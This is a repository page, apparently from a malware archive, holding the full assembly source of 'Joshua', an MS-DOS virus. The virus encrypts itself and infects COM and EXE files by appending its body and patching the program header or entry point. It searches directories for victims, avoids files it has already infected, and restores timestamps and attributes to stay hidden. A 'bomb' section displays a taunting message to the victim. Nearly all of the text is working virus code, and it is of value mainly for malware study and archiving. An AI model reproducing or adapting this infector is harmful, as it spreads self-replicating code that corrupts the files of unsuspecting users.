MalwareSourceCode/MSDOS/J-Index/Virus.MSDOS.Unknown.joshua.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

485 lines
21 KiB
NASM
Raw Blame History

;******************************************************************
;* *
;* My First Virus, a simple non-overwriting COM and EXE *
;* infector. *
;* by, Joshua *
;* *
;******************************************************************
ID = 'SS' ; My ID
.model tiny ; Memory model
.code ; Start Code
org 100h ; Start of COM file
MAIN: db 0e9h,00h,00h ; Jmp START_VIRUS
START proc near
DECRYPT: mov bx,offset START_VIRUS ; Find out our offset
mov cx,(END_VIRUS-START_VIRUS)/2
DECRYPT_LOOP: db 2eh,81h,37h ; XOR [BX],xxxx
KEY dw 0 ; Crypt KEY
add bx,2 ; Increment offset
dec cx ; Decrement counter
jnz DECRYPT_LOOP ; Continue until done
START_VIRUS:
call FIND_OFFSET ; Real start of virus
; Calculate change in offset from host program.
FIND_OFFSET: pop bp ; BP holds current IP
sub bp, offset FIND_OFFSET ; Calculate net change
; Change BP to start of
; virus code
; Capture INT 24h Critical error handler.
push es ; Save ES
mov ax,3524h ; DOS get interupt vector
int 21h ; Call DOS to do it
mov word ptr [bp+OLDINT24],bx ; Save old INT 24h
mov word ptr [bp+OLDINT24+2],es ; vector
mov ah,25h ; DOS set interupt vector
lea dx,[bp+NEWINT24] ; Address of new interupt
int 21h ; Call DOS to do it
pop es ; Restore ES
; Find out what kind of program I am, COM or EXE, by checking stack pointer.
; This is where I store my ID in an EXE infection.
cmp sp,ID ; COM or EXE?
je RESTORE_EXE ; I am an EXE file
; Restore original bytes to the COM program.
RESTORE_COM: lea si,[bp+COM_START] ; Restore original 3 bytes
mov di,100h ; to 100h, start of file
push di ; Jmp to 100h when done
movsw ; Copy 3 bytes
movsb
jmp short RESTORE_DONE
; Restore original bytes to the EXE program.
RESTORE_EXE: push ds ; Save original DS
push es ; Save original ES
push cs ; Set DS = CS
pop ds
push cs ; Set ES = CS
pop es
lea si,[bp+JMPSAVE] ; Copy original CS:IP and
lea di,[bp+JMPSAVE2] ; SS:SP for return
movsw ; Copy 8 bytes
movsw
movsw
movsw
; Change the DTA from the default so FINDFIRST/FINDNEXT won't destroy
; original command line parameters.
RESTORE_DONE: lea dx,[bp+DTA] ; Point to new DTA area
mov ah,1ah ; DOS set DTA
int 21h ; Call DOS to do it
; Save original directory.
mov ah,47h ; DOS get current directory
lea si,[bp+ORIG_DIR] ; Store it here
mov dl,0 ; Current drive
int 21h ; Call DOS to do it
; Search for a file to infect.
SEARCH: lea dx,[bp+EXE_MASK] ; Search for any EXE file
call FINDFIRST ; Begin search
lea dx,[bp+COM_MASK] ; Search for any COM file
call FINDFIRST ; Begin search
mov ah,3bh ; DOS change directory
lea dx,[bp+DOTDOT] ; Go up one direcotry
int 21h ; Call DOS to do it
jnc SEARCH ; Go look for more files
; Restore default DTA, original directory, and pass control back to
; original program.
QUIT: mov ah,3bh ; DOS change directory
lea dx,[bp+ORIG_DIR-1] ; Point to original directory
int 21h ; Call DOS to do it
push ds ; Save DS
mov ax,2524h ; DOS set interupt vector
lds dx,[bp+OLDINT24] ; Restore INT 24h
int 21h ; Call DOS to do it
pop ds ; Restore DS
mov ah,1ah ; DOS set DTA
mov dx,80h ; Restore original DTA
cmp sp,ID-4 ; EXE or COM? ES,DS on stack
jz QUIT_EXE ; Pass control to host EXE
QUIT_COM: int 21h ; Call DOS to set DTA
retn ; Remember, 100h was on stack
QUIT_EXE: pop es ; Restore original ES
pop ds ; Restore original DS
int 21h ; Call DOS to set DTA
mov ax,es ; AX = begin of PSP segment
add ax,16 ; Add size of PSP to get CS
add word ptr cs:[bp+JMPSAVE2+2],ax ; Restore IP
add ax,word ptr cs:[bp+STACKSAVE2+2] ; Calculate SS
cli ; Clear interrupts
mov sp,word ptr cs:[bp+STACKSAVE2] ; Restore SP
mov ss,ax ; Restore SS
sti ; Set interrupts
db 0eah ; Jump SSSS:OOOO
JMPSAVE2 dd ? ; CS:IP for EXE return
STACKSAVE2 dd ? ; SS:SP for EXE return
JMPSAVE dd ? ; Original EXE CS:IP
STACKSAVE dd ? ; Original EXE SS:SP
CREATOR db '[Joshua]' ; That's me!
; DOS Findfirst / Findnext services
FINDFIRST: mov ah,4eh ; DOS find first service
mov cx,7 ; Choose files w/ any attribute
FINDNEXT: int 21h ; Call DOS to do it
jc END_SEARCH ; Quit if there are errors
; or no more files
; Ok, if I am here, then I found a possible victim. First open the file
; for read only.
mov al,0 ; DOS Open file, read only
call OPEN ; Open the file
; Read in the beginning bytes to check for previous infection and then close.
mov ah,3fh ; DOS Read file
lea dx,[bp+BUFFER] ; Save the original header
mov cx,24 ; Read 24 bytes
int 21h ; Call DOS to do it
mov ah,3eh ; DOS close file
int 21h ; Call DOS to do it
; Check if the file is an EXE.
CHECK_EXE: cmp word ptr [bp+BUFFER],'ZM' ; Is it an EXE?
jne CHECK_COM ; Nope, see if it's a COM
cmp word ptr [bp+BUFFER+16],ID; Is it already infected?
je ANOTHER ; Yep, so try another
jmp short INFECT_EXE ; We got one! Go infect it!
; Check if the file is COMMAND.COM
CHECK_COM: cmp word ptr [bp+DTA+35],'DN' ; Check for COMMAND.COM
jz ANOTHER ; If it is, try another file
; Now, check for previous infection by checking for our presence at
; the end of the file.
mov ax,word ptr [bp+DTA+26] ; Put total filesize in AX
cmp ax,(65535-(ENDHEAP-DECRYPT)); Check if too big
jle ANOTHER ; If so, try another
mov cx,word ptr [bp+BUFFER+1] ; Put jmp offset in CX
add cx,END_VIRUS-DECRYPT+3 ; Add virus size to jmp offset
cmp ax,cx ; Compare file size's
jnz INFECT_COM ; If healthy, go infect it
ANOTHER: mov ah,4fh ; Otherwise find another
jmp short FINDNEXT ; possible victim
END_SEARCH: retn ; No files found
;*** Subroutine INFECT_COM ***
INFECT_COM:
; Save the first three bytes of the COM file
lea si,[bp+BUFFER] ; Start of first 3 bytes
lea di,[bp+COM_START] ; Store them here
movsw ; Transfer the 3 bytes
movsb
; Calculate jump offset for header of victim so it will run virus first.
; AX has the filesize. Store new JMP and OFFSET in the buffer.
mov cx,3 ; No. bytes to write in header
sub ax,cx ; Filesize - jmp_offset
mov byte ptr [si-3],0e9h ; Store new JMP command
mov word ptr [si-2],ax ; plus offset
add ax,(103h+(START_VIRUS-DECRYPT)); New START_VIRUS OFFSET
push ax ; Save it for later
jmp DONE_INFECTION ; We're done!
;*** Subroutine INFECT_EXE ***
INFECT_EXE:
; Save original CS:IP and SS:SP.
les ax,dword ptr [bp+BUFFER+20] ; Get original CS:IP
mov word ptr [bp+JMPSAVE],ax ; Store IP
mov word ptr [bp+JMPSAVE+2],es ; Store CS
les ax,dword ptr [bp+BUFFER+14] ; Get original SS:SP
mov word ptr [bp+STACKSAVE],es ; Store SP
mov word ptr [bp+STACKSAVE+2],ax ; Store SS
; Get get the header size in bytes.
mov ax,word ptr [bp+BUFFER+8] ; Get header size
mov cl,4 ; Convert paragraphs to bytes
shl ax,cl ; Multiply by 16
xchg ax,bx ; Put header size in BX
; Get file size.
les ax,[bp+offset DTA+26] ; Get filesize to
mov dx,es ; DX:AX format
push ax ; Save filesize
push dx
sub ax,bx ; Subtract header size
sbb dx,0 ; from filesize
mov cx,16 ; Convert to SEGMENT:OFFSET
div cx ; form
; Store new entry point (CS:IP) in header.
mov word ptr [bp+BUFFER+20],dx; Store IP
mov word ptr [bp+BUFFER+22],ax; Store CS
add dx,START_VIRUS-DECRYPT ; New START_VIRUS offset
mov bx,dx ; Hold it for now
; Store new stack frame (SS:SP) in header.
mov word ptr [bp+BUFFER+14],ax; Store SS
mov word ptr [bp+BUFFER+16],ID; Store SP
pop dx ; Get back filesize
pop ax
add ax,END_VIRUS-START_VIRUS ; Add virus size
adc dx,0 ; to filesize
push ax ; Save AX
mov cl,9 ; Divide AX
shr ax,cl ; by 512
ror dx,cl
stc ; Set carry flag
adc dx,ax ; Add with carry
pop ax ; Get back AX
and ah,1 ; Mod 512
; Store new filesize in header.
mov word ptr [bp+BUFFER+4],dx ; Store new filesize
mov word ptr [bp+BUFFER+2],ax
push cs ; Restore ES
pop es
mov cx,24 ; No. bytes to write in header
push bx ; Save START_VIRUS offset
; Write virus to victim and restore the file's original timestamp, datestamp,
; and attributes. These values were stored in the DTA by the
; Findfirst / Findnext services.
DONE_INFECTION:
push cx ; Save no. bytes to write
xor cx,cx ; Clear attributes
call SET_ATTR ; Set attributes
mov al,2 ; DOS open file for read/write
call OPEN ; Open the file
; Write the new header at the beginning of the file.
mov ah,40h ; DOS write to file
pop cx ; Number of bytes to write
lea dx,[bp+BUFFER] ; Point to the bytes to write
int 21h ; Call DOS to do it
; Move to end of file.
mov ax,4202h ; DOS set read/write pointer
xor cx,cx ; Set offset move to zero
cwd ; Equivalent to xor dx,dx
int 21h ; Call DOS to do it
; Append virus to end of file.
mov ah,2ch ; DOS get time
int 21h ; Call DOS to do it
mov [bp+KEY],dx ; Save sec + 1/100 sec
; as the new KEY
lea di,[bp+APPEND] ; to the heap
mov cx,START_VIRUS-DECRYPT ; Number of bytes to move
mov al,53h ; Push BX and store it
stosb ; in the append routine
lea si,[bp+DECRYPT] ; Move Crypt routines
push si ; Save SI
push cx ; Save CX
rep movsb ; Transfer the data
lea si,[bp+WRITE_START] ; Now copy the write
mov cx,WRITE_END-WRITE_START ; routine to the heap
rep movsb ; Transfer the data
pop cx ; Get back
pop si ; CX and SI
rep movsb ; Recopy Crypt routine
mov ax,0c35bh ; Tack a POP BX and
stosw ; RETN on the end
pop ax ; New START_VIRUS offset
mov word ptr [bp+DECRYPT+1],ax; Store new offset
call APPEND ; Write the file
; Restore original creation date and time.
mov ax,5701h ; DOS set file date & time
mov cx,word ptr [bp+DTA+22] ; Set time
mov dx,word ptr [bp+DTA+24] ; Set date
int 21h ; Call DOS to do it
; Close the file.
mov ah,3eh ; DOS close file
int 21h ; Call DOS to do it
; Restore original file attributes.
mov cx,word ptr [bp+DTA+21] ; Get original file attribute
call SET_ATTR ; Set attribute
pop bx ; Take CALL off stack
; ****** B O M B S E C T I O N ******
; Check to see if the virus is ready to activate.
; Put all activation tests and bombs here.
CONDITIONS: ; mov ah,2ah ; DOS get date
; int 21h ; Call DOS to do it
; cmp dx,1001h ; Check for Oct 1st
; jl BOMB_DONE ; Not time yet
; mov ah,2ch ; DOS get time
; int 21h ; Call DOS to do it
; cmp cl,25h ; Check for 25 min past
; jl BOMB_DONE ; Not time yet
BOMB: mov ah,3h ; BIOS find cursor position
mov bh,0 ; Video page 0
int 10h ; Call BIOS to do it
push dx ; Save original Row and Column
mov cx,6 ; Number of lines to print
lea si,[bp+VERSE] ; Location of VERSE
mov dx,080ah ; Row and Column of output
PRINTLOOP: mov ah,2h ; BIOS set cursor
int 10h ; Set cursor
push dx ; Save Row and Column
mov ah,9h ; DOS print string
mov dx,si ; Location of VERSE
int 21h ; Call DOS to print it
pop dx ; Get Row and Column
inc dh ; Increment Row
add si,54 ; Go to next line of VERSE
loop PRINTLOOP ; Print all lines
mov ah,00h ; Read character from keybd
int 16h
pop dx ; Get original Row Column
mov ah,2h ; BIOS set cursor
int 10h ; Call BIOS to do it
BOMB_DONE: jmp QUIT ; Go back to host program
VERSE: db '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ķ$'
db '<27> Guess what ??? <20>$'
db '<27> You have been victimized by a virus!!! Do not <20>$'
db '<27> try to reboot your computer or even turn it <20>$'
db '<27> off. You might as well read this and weep! <20>$'
db '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ',7,7,'$'
; Write routine to append the virus to the end of the file.
WRITE_START:
pop bx ; Get back file handle
push bx ; Save it again
mov ah,40h ; DOS write to file
mov cx,END_VIRUS-DECRYPT ; Length of virus
lea dx,[bp+DECRYPT] ; Start from beginning of virus
int 21h ; Call DOS to do it
WRITE_END:
; New INT 24h handler.
NEWINT24: mov al,3 ; Fail call
iret ; Return
;*** Subroutine OPEN ***
; Open a file. Takes AL as parameter.
OPEN proc near
mov ah,3dh ; DOS open file, read/write
lea dx,[bp+DTA+30] ; Point to filename we found
int 21h ; Call DOS to do it
xchg ax,bx ; Put file handle in BX
retn ; Return
OPEN endp
;*** Subroutine SET_ATTR ***
; Takes CX as a parameter
SET_ATTR proc near
mov ax,4301h ; DOS change file attr
lea dx,[bp+DTA+30] ; Point to file name
int 21h ; Call DOS
retn ; Return
SET_ATTR endp
; This area will hold all variables to be encrypted
COM_MASK db '*.com',0 ; COM file mask
EXE_MASK db '*.exe',0 ; EXE file mask
DOTDOT db '..',0 ; Go up one directory
COM_START db 0cdh,20h,0 ; Header for infected file
BACKSLASH db '\' ; Backslash for directory
START endp
END_VIRUS equ $ ; Mark end of virus code
; This data area is a scratch area and is not included in virus code.
ORIG_DIR db 64 dup(?) ; Holds original directory
OLDINT24 dd ? ; Storage for old INT 24 vector
BUFFER db 24 dup(?) ; Read buffer and EXE header
DTA db 43 dup(?) ; New DTA location
APPEND: db (START_VIRUS-DECRYPT)*2+(WRITE_END-WRITE_START)+3 dup(?)
ENDHEAP:
end MAIN